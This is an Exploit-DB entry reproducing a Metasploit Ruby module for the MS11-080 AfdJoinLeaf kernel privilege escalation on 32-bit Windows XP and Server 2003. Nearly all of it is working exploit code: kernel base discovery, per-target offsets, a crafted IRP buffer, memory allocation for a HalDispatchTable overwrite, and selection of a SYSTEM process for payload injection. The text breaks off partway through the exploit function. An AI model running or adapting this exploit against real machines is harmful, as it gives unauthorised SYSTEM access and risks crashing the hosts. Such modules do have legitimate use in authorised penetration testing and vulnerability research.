Exploit-DB #21844
Description: Microsoft Windows - 'AfdJoinLeaf' Local Privilege Escalation (MS11-080) (Metasploit)
Type: local
Platform: windows
Date: 2012-10-10
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
	Rank = AverageRanking
	# Average because this module relies on memory corruption within the
	# kernel, this is inherently dangerous.  Also if the payload casues
	# the system process that it was injected into to die then it's also
	# possible that the system may become unstable.

	include Msf::Post::Common
	include Msf::Post::Windows::Priv

	def initialize(info={})
		super(update_info(info, {
			'Name'          => 'MS11-080 AfdJoinLeaf Privilege Escalation',
			'Description'    => %q{
				This module exploits a flaw in the AfdJoinLeaf function of the
				afd.sys driver to overwrite data in kernel space.  An address
				within the HalDispatchTable is overwritten and when triggered
				with a call to NtQueryIntervalProfile will execute shellcode.

				This module will elevate itself to SYSTEM, then inject the payload
				into another SYSTEM process before restoring it's own token to
				avoid causing system instability.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Matteo Memelli', # original exploit and all the hard work
					'Spencer McIntyre' # MSF module
				],
			'Arch'          => [ ARCH_X86 ],
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Targets'       =>
				[
					[ 'Automatic', { } ],

					[ 'Windows XP SP2 / SP3',
						{
							'HaliQuerySystemInfo' => 0x16bba,
							'HalpSetSystemInformation' => 0x19436,
							'_KPROCESS' => "\x44",
							'_TOKEN' => "\xc8",
							'_UPID' => "\x84",
							'_APLINKS' => "\x88"
						}
					],

					[ 'Windows Server 2003 SP2',
						{
							'HaliQuerySystemInfo' => 0x1fa1e,
							'HalpSetSystemInformation' => 0x21c60,
							'_KPROCESS' => "\x38",
							'_TOKEN' => "\xd8",
							'_UPID' => "\x94",
							'_APLINKS' => "\x98"
						}
					],
				],
			'References'    =>
				[
					[ 'CVE', '2011-2005' ],
					[ 'MSB', 'MS11-080' ],
					[ 'EDB', 18176 ],
					[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
				],
			'DisclosureDate'=> 'Nov 30 2011',
			'DefaultTarget' => 0
		}))

		register_options([
		])

	end

	def find_sys_base(drvname)
		session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
		session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
		session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
		results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
		addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

		addresses.each do |address|
			results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
			current_drvname = results['lpBaseName'][0..results['return'] - 1]
			if drvname == nil
				if current_drvname.downcase.include?('krnl')
					return [address, current_drvname]
				end
			elsif drvname == results['lpBaseName'][0..results['return'] - 1]
				return [address, current_drvname]
			end
		end
	end

	# Function borrowed from smart_hashdump
	def get_system_proc
		# Make sure you got the correct SYSTEM Account Name no matter the OS Language
		local_sys = resolve_sid("S-1-5-18")
		system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

		# Processes that can Blue Screen a host if migrated in to
		dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
		session.sys.process.processes.each do |p|
			# Check we are not migrating to a process that can BSOD the host
			next if dangerous_processes.include?(p["name"])
			next if p["pid"] == session.sys.process.getpid
			next if p["pid"] == 4
			next if p["user"] != system_account_name
			return p
		end
	end

	def exploit
		if sysinfo["Architecture"] =~ /wow64/i
			print_error("Running against WOW64 is not supported")
			return
		elsif sysinfo["Architectore"] =~ /x64/
			print_error("Running against 64-bit systems is not supported")
			return
		end

		mytarget = target
		if mytarget.name =~ /Automatic/
			os = sysinfo["OS"]
			if os =~ /windows xp/i
				mytarget = targets[1]
			end
			if ((os =~ /2003/) and (os =~ /service pack 2/i))
				mytarget = targets[2]
			end
			if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
				mytarget = targets[2]
			end

			if mytarget.name =~ /Automatic/
				print_error("Could not identify the target system, it may not be supported")
				return
			end
			print_status("Running against #{mytarget.name}")
		end

		if is_system?
			print_error("This meterpreter session is already running as SYSTEM")
			return
		end

		this_proc = session.sys.process.open
		kernel_info = find_sys_base(nil)
		base_addr = 0x1001
		print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")

		result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
		socket = result['return']

		irpstuff =  rand_text_alpha(8)
		irpstuff << "\x00\x00\x00\x00"
		irpstuff << rand_text_alpha(4)
		irpstuff << "\x01\x00\x00\x00"
		irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
		irpstuff << rand_text_alpha(231)

		if not this_proc.memory.writable?(0x1000)
			session.railgun.add_function(
				'ntdll',
				'NtAllocateVirtualMemory',
				'DWORD',
				[
					["DWORD", "ProcessHandle", "in"],
					["PBLOB", "BaseAddress", "in